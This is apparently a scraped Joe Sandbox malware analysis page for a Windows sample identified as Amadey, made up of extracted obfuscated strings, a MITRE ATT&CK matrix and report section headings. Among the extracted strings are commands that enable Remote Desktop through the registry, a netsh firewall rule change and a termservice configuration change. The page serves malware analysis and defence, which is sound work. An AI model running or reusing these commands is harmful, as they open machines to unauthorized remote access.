vtQw2sMQSrPj==LQXfPMklgFTVLZjr1JL2QsCffy==NIWoNG==UoSbcxLpJITieG==LINieG==YcAROJQf3kWVYN==ccxm0NDq3VfgUQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764XlMyMZVkZG==UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764UV9A5DZzZNB3WNEhggzOaDTpdFrEg7yb2VADUTJ8ddIXgy==UcNjYSTaJs0zMDHIRBjPKFZxQ8F8UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764XlMycdNk0wooQxGbUxBl0TAdfVK=UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764UV9A5DZzZNB3VS9hfEubRj7p1JLwhB==JLNJSLAMYi7BSRvCLT==Xuxmdq==Uu1JWq==RQNKaMIWddEWcSIWbTEWYccWYNAWcwEWdMWWZwSWYNQWbxQWbS5Wc S=YTBb0sWgfEv3YZvmeFVigLyZYTBb0sWgfEu=YSpfdsWgfEu=Ztw=ZJw=ZJA=ZJE=TMxfc7==axJQdtfrPu==axJQdxD2Pw6=ZN bZwpiYSTacxEnbNFfecdmLTxRbMMWPwE+PwI+LRtieM5lflKqKokhIm==fq==JdNkbNH5PG==cS bcwnvQg3fbDu=aSNoccMoQxGpZDvpRSNQUcwWeVXgU0jwfJLrX16deu==UxBl0TAdfSPcdDD QLRrVRHcY07hdEbeepK=QNRfdcv=SSxpdwMug0r0IBve0j==RLFvWq==Uwxk0wvcY0TedUHmfKa=Rw1 ew0uMDbgYd==QLRxMpQmWw0W2UvOZTLYepbYjV==QcdQ0wMi3U3fZUG=Tc1oew0qUS1mbw0vQS1jcSIrVSdkSwMi3U3fZUG=MtwoNpHXRhaZON==ccA=dSA=QS1kewMqhAZPeUziQlrri1yRdVsl6kGwZc1ocISg2VPcOvzfd6Ls4LGphRRxEPQuLISjMIRpDGhtcSWW3U3VLRPme6rth7mRdU0yHfrnbTBjMMIdhEC2ID3edZK7NrS9gEvmHvrnaMpbccwp3RYdI7SARS0qhETpdzZRg0rjTnC9fFsw4TDidwdlc90r21PgdzZwfKzj311EFeRODGgjMIRpPQY=LISDD7==PTF d RtLchm0m==QS1kewMqhAZPeUziQlrfhMCjdUEl7Dbwb91UMN5ZhwZhb0HqN0LwgLWl100oSTG=URdJWuMJ1CLWckHidqHBg76Rfk0wNZL1XuFlcdIuf0v8QZ7qeKLY42KF1USpQBDwbNtRewMuXkDoZN==QS1jdxMW3VHJYTZiYMB 0wMi30fkajrpdZVthMGpf1I57k45eNgmNJzvRBSXNwe2NYY=LNNkbMEr3ESoURdJWuMJ1CLWckHidqHBg76Rfk0wNZL1XuFlcdIuf0v8VT3mfJLi0rmb2U0gJXZPVvBFUvoSWSPATYu=URdJWuMJ1CLqbkPvd5nR42RnPBwgNZLzdcd 0NE9UkDuaTLBc0DugLGW0DQtSDLwVcda0M0FVy==XtsmNtr=RwNcZNMohDLgdEPmdp4xQqiJ2VEz5EL1aM1kRwNcZNMohDLgdEPmdp4xQqmJ2VEz5EL1aM1kUQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTE7UbI9U1TtcjTrfIPjhsOge0V=UxBl0xMfhC3cbTS=M snPG==M soN7==M snO7==M soOG==QTNodcMqhCHWaTvhXq==O gWcdNk0wooQxGpZUfiLSk7IdJ8dSkneUvnIz7jKFZngXB I9scK9sWeUZgb0TXKGueOnZ82EMwBx==J9Q7SN9lhAG=I9scK9su3U2bIsQcJq==Uw1T0NAveETnbz3igJK=LMNU0MEXhEjqbkzsdJbhjXCp2USz7DLAaM6k0MHcPSXkbDSdKj==I7==cS RewIrh02bLUKdN0GeRF==cTIZdm==ccxk0w0pSSNVZc0dgkObTDD2d6LY2KCp2UozRTG=MtsmNtrWQRi=MtsmNtrWQhG=MtsmNtrWQhK=MtsmNtrWQ0W=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSConnectionsSYSTEM\CurrentControlSet\Control\Terminal Servernetsh advfirewall firewall set rule group="Remote Desktop" new enable=Yessc config termservice

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	12 Process Injection	1 Masquerading	OS Credential Dumping	1 System Time Discovery	1 Remote Desktop Protocol	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	1 DLL Side-Loading	1 Scheduled Task/Job	251 Virtualization/Sandbox Evasion	LSASS Memory	741 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	12 Process Injection	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Obfuscated Files or Information	NTDS	251 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	11 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	12 Software Packing	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	1 Account Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	1 System Owner/User Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	1 File and Directory Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	224 System Information Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report ET3Sc57mx4.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Amadey

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Windows Analysis Report
ET3Sc57mx4.exe